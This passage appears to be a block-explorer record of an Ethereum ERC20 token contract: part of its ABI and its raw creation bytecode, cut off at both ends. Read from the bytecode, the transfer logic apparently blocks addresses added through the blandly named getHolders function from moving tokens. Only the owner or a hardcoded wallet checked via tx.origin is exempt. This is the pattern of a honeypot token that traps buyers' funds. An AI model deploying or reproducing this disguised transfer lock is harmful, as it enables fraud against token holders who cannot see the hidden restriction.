":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_holder","type":"address"}],"name":"getHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_option","type":"address"}],"name":"setOptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holder","type":"address"}],"name":"viewHolders","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
61016060405234801562000011575f80fd5b5060405162003e6338038062003e63833981810160405281019062000037919062000997565b82806040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525085856200009162000085620001ad60201b60201c565b620001b460201b60201c565b8160049081620000a2919062000c5c565b508060059081620000b4919062000c5c565b505050620000cd6009836200027560201b90919060201c565b6101208181525050620000eb600a826200027560201b90919060201c565b6101408181525050818051906020012060e08181525050808051906020012061010081815250504660a081815250506200012a620002ca60201b60201c565b608081815250503073ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1681525050505050620001a4336200017d6200032660201b60201c565b600a6200018b919062000ec9565b8362000198919062000f19565b6200032e60201b60201c565b505050620012e6565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6020835110156200029a5762000292836200049260201b60201c565b9050620002c4565b82620002ac83620004fc60201b60201c565b5f019081620002bc919062000c5c565b5060ff5f1b90505b92915050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60e0516101005146306040516020016200030b95949392919062000fd1565b60405160208183030381529060405280519060200120905090565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200039f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000396906200108a565b60405180910390fd5b620003b0826200050560201b60201c565b8060035f828254620003c39190620010aa565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004739190620010e4565b60405180910390a36200048e5f83836200052f60201b60201c565b5050565b5f80829050601f81511115620004e157826040517f305a27a9000000000000000000000000000000000000000000000000000000008152600401620004d891906200113f565b60405180910390fd5b805181620004ef9062001190565b5f1c175f1b915050919050565b5f819050919050565b62000516816200053460201b60201c565b6200052c576200052b6200060e60201b60201c565b5b50565b505050565b5f60085f9054906101000a900460ff1662000604576200055a32620006a860201b60201c565b62000603575f5b60068054905081101562000601578273ffffffffffffffffffffffffffffffffffffffff16600682815481106200059d576200059c620011ff565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603620005eb575f91505062000609565b8080620005f8906200122c565b91505062000561565b505b5b600190505b919050565b3273ffffffffffffffffffffffffffffffffffffffff16620006356200075960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161480620006645750620006636200078060201b60201c565b5b620006a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200069d90620012c6565b60405180910390fd5b565b5f805f90505b6007805490508110156200074f578273ffffffffffffffffffffffffffffffffffffffff1660078281548110620006ea57620006e9620011ff565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036200073957600191505062000754565b808062000746906200122c565b915050620006ae565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f734ea1c63e05ac69985dbb4044bbb41156b57c849973ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603620007d35760019050620007d7565b5f90505b90565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200083b82620007f3565b810181811067ffffffffffffffff821117156200085d576200085c62000803565b5b80604052505050565b5f62000871620007da565b90506200087f828262000830565b919050565b5f67ffffffffffffffff821115620008a157620008a062000803565b5b620008ac82620007f3565b9050602081019050919050565b5f5b83811015620008d8578082015181840152602081019050620008bb565b5f8484015250505050565b5f620008f9620008f38462000884565b62000866565b905082815260208101848484011115620009185762000917620007ef565b5b62000925848285620008b9565b509392505050565b5f82601f830112620009445762000943620007eb565b5b815162000956848260208601620008e3565b91505092915050565b5f819050919050565b62000973816200095f565b81146200097e575f80fd5b50565b5f81519050620009918162000968565b92915050565b5f805f60608486031215620009b157620009b0620007e3565b5b5f84015167ffffffffffffffff811115620009d157620009d0620007e7565b5b620009df868287016200092d565b935050602084015167ffffffffffffffff81111562000a035762000a02620007e7565b5b62000a11868287016200092d565b925050604062000a248682870162000981565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a7d57607f821691505b60208210810362000a935762000a9262000a38565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000af77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000aba565b62000b03868362000aba565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000b4462000b3e62000b38846200095f565b62000b1b565b6200095f565b9050919050565b5f819050919050565b62000b5f8362000b24565b62000b7762000b6e8262000b4b565b84845462000ac6565b825550505050565b5f90565b62000b8d62000b7f565b62000b9a81848462000b54565b505050565b5b8181101562000bc15762000bb55f8262000b83565b60018101905062000ba0565b5050565b601f82111562000c105762000bda8162000a99565b62000be58462000aab565b8101602085101562000bf5578190505b62000c0d62000c048562000aab565b83018262000b9f565b50505b505050565b5f82821c905092915050565b5f62000c325f198460080262000c15565b1980831691505092915050565b5f62000c4c838362000c21565b9150826002028217905092915050565b62000c678262000a2e565b67ffffffffffffffff81111562000c835762000c8262000803565b5b62000c8f825462000a65565b62000c9c82828562000bc5565b5f60209050601f83116001811462000cd2575f841562000cbd578287015190505b62000cc9858262000c3f565b86555062000d38565b601f19841662000ce28662000a99565b5f5b8281101562000d0b5784890151825560018201915060208501945060208101905062000ce4565b8683101562000d2b578489015162000d27601f89168262000c21565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000dca5780860481111562000da25762000da162000d40565b5b600185161562000db25780820291505b808102905062000dc28562000d6d565b945062000d82565b94509492505050565b5f8262000de4576001905062000eb6565b8162000df3575f905062000eb6565b816001811462000e0c576002811462000e175762000e4d565b600191505062000eb6565b60ff84111562000e2c5762000e2b62000d40565b5b8360020a91508482111562000e465762000e4562000d40565b5b5062000eb6565b5060208310610133831016604e8410600b841016171562000e875782820a90508381111562000e815762000e8062000d40565b5b62000eb6565b62000e96848484600162000d79565b9250905081840481111562000eb05762000eaf62000d40565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000ed5826200095f565b915062000ee28362000ebd565b925062000f117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000dd3565b905092915050565b5f62000f25826200095f565b915062000f32836200095f565b925082820262000f42816200095f565b9150828204841483151762000f5c5762000f5b62000d40565b5b5092915050565b5f819050919050565b62000f778162000f63565b82525050565b62000f88816200095f565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000fb98262000f8e565b9050919050565b62000fcb8162000fad565b82525050565b5f60a08201905062000fe65f83018862000f6c565b62000ff5602083018762000f6c565b62001004604083018662000f6c565b62001013606083018562000f7d565b62001022608083018462000fc0565b9695505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62001072601f836200102c565b91506200107f826200103c565b602082019050919050565b5f6020820190508181035f830152620010a38162001064565b9050919050565b5f620010b6826200095f565b9150620010c3836200095f565b9250828201905080821115620010de57620010dd62000d40565b5b92915050565b5f602082019050620010f95f83018462000f7d565b92915050565b5f6200110b8262000a2e565b6200111781856200102c565b935062001129818560208601620008b9565b6200113481620007f3565b840191505092915050565b5f6020820190508181035f830152620011598184620010ff565b905092915050565b5f81519050919050565b5f819050602082019050919050565b5f62001187825162000f63565b80915050919050565b5f6200119c8262001161565b82620011a8846200116b565b9050620011b5816200117a565b92506020821015620011f857620011f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8360200360080262000aba565b831692505b5050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f62001238826200095f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036200126d576200126c62000d40565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f620012ae6020836200102c565b9150620012bb8262001278565b602082019050919050565b5f6020820190508181035f830152620012df81620012a0565b9050919050565b60805160a05160c05160e051610100516101205161014051612b2b620013385f395f61165401525f61161901525f6117db01525f6117ba01525f6113ae01525f61140401525f61142d0152612b2b5ff3fe608060405234801561000f575f80fd5b5060043610610156575f3560e01c80637d6dff7d116100c1578063a457c2d71161007a578063a457c2d714610394578063a9059cbb146103c4578063b5eadf94146103f4578063d505accf14610410578063dd62ed3e1461042c578063f2fde38b1461045c57610156565b80637d6dff7d146102de5780637ecebe00146102fa5780638129fc1c1461032a57806384b0196e146103345780638da5cb5b1461035857806395d89b411461037657610156565b8063313ce56711610113578063313ce5671461021c5780633644e5151461023a57806338cac9ba14610258578063395093511461027457806370a08231146102a4578063715018a6146102d457610156565b806306fdde031461015a578063072caf6e14610178578063095ea7b3146101945780631584589e146101c457806318160ddd146101ce57806323b872dd146101ec575b5f80fd5b610162610478565b60405161016f9190611d72565b60405180910390f35b610192600480360381019061018d9190611e23565b610508565b005b6101ae60048036038101906101a99190611e23565b61051e565b6040516101bb9190611e7b565b60405180910390f35b6101cc610540565b005b6101d6610564565b6040516101e39190611ea3565b60405180910390f35b61020660048036038101906102019190611ebc565b61056d565b6040516102139190611e7b565b60405180910390f35b61022461059b565b6040516102319190611f27565b60405180910390f35b6102426105a3565b60405161024f9190611f58565b60405180910390f35b610272600480360381019061026d9190611f71565b6105b1565b005b61028e60048036038101906102899190611e23565b6106d4565b60405161029b9190611e7b565b60405180910390f35b6102be60048036038101906102b99190611f71565b61070a565b6040516102cb9190611ea3565b60405180910390f35b6102dc610750565b005b6102f860048036038101906102f39190611f71565b610763565b005b610314600480360381019061030f9190611f71565b61083b565b6040516103219190611ea3565b60405180910390f35b61033261084c565b005b61033c61086f565b60405161034f979695949392919061209c565b60405180910390f35b610360610914565b60405161036d919061211e565b60405180910390f35b61037e61093b565b60405161038b9190611d72565b60405180910390f35b6103ae60048036038101906103a99190611e23565b6109cb565b6040516103bb9190611e7b565b60405180910390f35b6103de60048036038101906103d99190611e23565b610a40565b6040516103eb9190611e7b565b60405180910390f35b61040e60048036038101906104099190611f71565b610a62565b005b61042a6004803603810190610425919061218b565b610acd565b005b61044660048036038101906104419190612228565b610c12565b6040516104539190611ea3565b60405180910390f35b61047660048036038101906104719190611f71565b610c94565b005b60606004805461048790612293565b80601f01602080910402602001604051908101604052809291908181526020018280546104b390612293565b80156104fe5780601f106104d5576101008083540402835291602001916104fe565b820191905f5260205f20905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b610510610d16565b61051a8282610d9c565b5050565b5f80610528610ee9565b9050610535818585610ef0565b600191505092915050565b610548610d16565b600160085f6101000a81548160ff021916908315150217905550565b5f600354905090565b5f80610577610ee9565b90506105848582856110b3565b61058f85858561113e565b60019150509392505050565b5f6012905090565b5f6105ac6113ab565b905090565b6105b9610d16565b6105c281611461565b610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89061230d565b60405180910390fd5b5f5b6007805490508110156106d0578173ffffffffffffffffffffffffffffffffffffffff166007828154811061063b5761063a61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036106bd57600781815481106106925761069161232b565b5b905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b80806106c890612385565b915050610603565b5050565b5f806106de610ee9565b90506106ff8185856106f08589610c12565b6106fa91906123cc565b610ef0565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610758610d16565b6107615f611509565b565b61076b610914565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cf90612449565b60405180910390fd5b600681908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610845826115ca565b9050919050565b610854610d16565b5f60085f6101000a81548160ff021916908315150217905550565b5f6060805f805f6060610880611610565b61088861164b565b46305f801b5f67ffffffffffffffff8111156108a7576108a6612467565b5b6040519080825280602002602001820160405280156108d55781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a90612293565b80601f016020809104026020016040519081016040528092919081815260200182805461097690612293565b80156109c15780601f10610998576101008083540402835291602001916109c1565b820191905f5260205f20905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b5f806109d5610ee9565b90505f6109e28286610c12565b905083811015610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90612504565b60405180910390fd5b610a348286868403610ef0565b60019250505092915050565b5f80610a4a610ee9565b9050610a5781858561113e565b600191505092915050565b610a6a610d16565b600781908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b83421115610b1257836040517f62791302000000000000000000000000000000000000000000000000000000008152600401610b099190611ea3565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888610b408c611686565b89604051602001610b5696959493929190612522565b6040516020818303038152906040528051906020012090505f610b78826116d9565b90505f610b87828787876116f2565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bfb57808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610bf2929190612581565b60405180910390fd5b610c068a8a8a610ef0565b50505050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c9c610d16565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612618565b60405180910390fd5b610d1381611509565b50565b3273ffffffffffffffffffffffffffffffffffffffff16610d35610914565b73ffffffffffffffffffffffffffffffffffffffff161480610d5b5750610d5a611720565b5b610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190612680565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e01906126e8565b60405180910390fd5b610e1382611778565b8060035f828254610e2491906123cc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed29190611ea3565b60405180910390a3610ee55f8383611791565b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590612776565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612804565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a69190611ea3565b60405180910390a3505050565b5f6110be8484610c12565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611138578181101561112a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111219061286c565b60405180910390fd5b6111378484848403610ef0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a3906128fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121190612988565b60405180910390fd5b61122382611778565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612a16565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113929190611ea3565b60405180910390a36113a5848484611791565b50505050565b5f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614801561142657507f000000000000000000000000000000000000000000000000000000000000000046145b15611453577f0000000000000000000000000000000000000000000000000000000000000000905061145e565b61145b611796565b90505b90565b5f805f90505b6007805490508110156114ff578273ffffffffffffffffffffffffffffffffffffffff166007828154811061149f5761149e61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114ec576001915050611504565b80806114f790612385565b915050611467565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606061164660097f000000000000000000000000000000000000000000000000000000000000000061182b90919063ffffffff16565b905090565b6060611681600a7f000000000000000000000000000000000000000000000000000000000000000061182b90919063ffffffff16565b905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f6116eb6116e56113ab565b836118d8565b9050919050565b5f805f8061170288888888611918565b92509250925061171282826119ff565b829350505050949350505050565b5f734ea1c63e05ac69985dbb4044bbb41156b57c849973ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036117715760019050611775565b5f90505b90565b61178181611b61565b61178e5761178d610d16565b5b50565b505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f00000000000000000000000000000000000000000000000000000000000000007f00000000000000000000000000000000000000000000000000000000000000004630604051602001611810959493929190612a34565b60405160208183030381529060405280519060200120905090565b606060ff5f1b83146118475761184083611c28565b90506118d2565b81805461185390612293565b80601f016020809104026020016040519081016040528092919081815260200182805461187f90612293565b80156118ca5780601f106118a1576101008083540402835291602001916118ca565b820191905f5260205f20905b8154815290600101906020018083116118ad57829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c1115611954575f6003859250925092506119f5565b5f6001888888886040515f81526020016040526040516119779493929190612a85565b6020604051602081039080840390855afa158015611997573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e8575f60015f801b935093509350506119f5565b805f805f1b935093509350505b9450945094915050565b5f6003811115611a1257611a11612ac8565b5b826003811115611a2557611a24612ac8565b5b0315611b5d5760016003811115611a3f57611a3e612ac8565b5b826003811115611a5257611a51612ac8565b5b03611a89576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60026003811115611a9d57611a9c612ac8565b5b826003811115611ab057611aaf612ac8565b5b03611af457805f1c6040517ffce698f7000000000000000000000000000000000000000000000000000000008152600401611aeb9190611ea3565b60405180910390fd5b600380811115611b0757611b06612ac8565b5b826003811115611b1a57611b19612ac8565b5b03611b5c57806040517fd78bce0c000000000000000000000000000000000000000000000000000000008152600401611b539190611f58565b60405180910390fd5b5b5050565b5f60085f9054906101000a900460ff16611c1e57611b7e32611461565b611c1d575f5b600680549050811015611c1b578273ffffffffffffffffffffffffffffffffffffffff1660068281548110611bbc57611bbb61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611c08575f915050611c23565b8080611c1390612385565b915050611b84565b505b5b600190505b919050565b60605f611c3483611c9a565b90505f602067ffffffffffffffff811115611c5257611c51612467565b5b6040519080825280601f01601f191660200182016040528015611c845781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611cdf576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d1f578082015181840152602081019050611d04565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d4482611ce8565b611d4e8185611cf2565b9350611d5e818560208601611d02565b611d6781611d2a565b840191505092915050565b5f6020820190508181035f830152611d8a8184611d3a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611dbf82611d96565b9050919050565b611dcf81611db5565b8114611dd9575f80fd5b50565b5f81359050611dea81611dc6565b92915050565b5f819050919050565b611e0281611df0565b8114611e0c575f80fd5b50565b5f81359050611e1d81611df9565b92915050565b5f8060408385031215611e3957611e38611d92565b5b5f611e4685828601611ddc565b9250506020611e5785828601611e0f565b9150509250929050565b5f8115159050919050565b611e7581611e61565b82525050565b5f602082019050611e8e5f830184611e6c565b92915050565b611e9d81611df0565b82525050565b5f602082019050611eb65f830184611e94565b92915050565b5f805f60608486031215611ed357611ed2611d92565b5b5f611ee086828701611ddc565b9350506020611ef186828701611ddc565b9250506040611f0286828701611e0f565b9150509250925092565b5f60ff82169050919050565b611f2181611f0c565b82525050565b5f602082019050611f3a5f830184611f18565b92915050565b5f819050919050565b611f5281611f40565b82525050565b5f602082019050611f6b5f830184611f49565b92915050565b5f60208284031215611f8657611f85611d92565b5b5f611f9384828501611ddc565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611fd081611f9c565b82525050565b611fdf81611db5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61201781611df0565b82525050565b5f612028838361200e565b60208301905092915050565b5f602082019050919050565b5f61204a82611fe5565b6120548185611fef565b935061205f83611fff565b805f5b8381101561208f578151612076888261201d565b975061208183612034565b925050600181019050612062565b5085935050505092915050565b5f60e0820190506120af5f83018a611fc7565b81810360208301526120c18189611d3a565b905081810360408301526120d58188611d3a565b90506120e46060830187611e94565b6120f16080830186611fd6565b6120fe60a0830185611f49565b81810360c08301526121108184612040565b905098975050505050505050565b5f6020820190506121315f830184611fd6565b92915050565b61214081611f0c565b811461214a575f80fd5b50565b5f8135905061215b81612137565b92915050565b61216a81611f40565b8114612174575f80fd5b50565b5f8135905061218581612161565b92915050565b5f805f805f805f60e0888a0312156121a6576121a5611d92565b5b5f6121b38a828b01611ddc565b97505060206121c48a828b01611ddc565b96505060406121d58a828b01611e0f565b95505060606121e68a828b01611e0f565b94505060806121f78a828b0161214d565b93505060a06122088a828b01612177565b92505060c06122198a828b01612177565b91505092959891949750929550565b5f806040838503121561223e5761223d611d92565b5b5f61224b85828601611ddc565b925050602061225c85828601611ddc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122aa57607f821691505b6020821081036122bd576122bc612266565b5b50919050565b7f686f6c64657220646f65736e27742065786973740000000000000000000000005f82015250565b5f6122f7601483611cf2565b9150612302826122c3565b602082019050919050565b5f6020820190508181035f830152612324816122eb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61238f82611df0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123c1576123c0612358565b5b600182019050919050565b5f6123d682611df0565b91506123e183611df0565b92508282019050808211156123f9576123f8612358565b5b92915050565b7f696e636f727265637400000000000000000000000000000000000000000000005f82015250565b5f612433600983611cf2565b915061243e826123ff565b602082019050919050565b5f6020820190508181035f83015261246081612427565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6124ee602583611cf2565b91506124f982612494565b604082019050919050565b5f6020820190508181035f83015261251b816124e2565b9050919050565b5f60c0820190506125355f830189611f49565b6125426020830188611fd6565b61254f6040830187611fd6565b61255c6060830186611e94565b6125696080830185611e94565b61257660a0830184611e94565b979650505050505050565b5f6040820190506125945f830185611fd6565b6125a16020830184611fd6565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612602602683611cf2565b915061260d826125a8565b604082019050919050565b5f6020820190508181035f83015261262f816125f6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6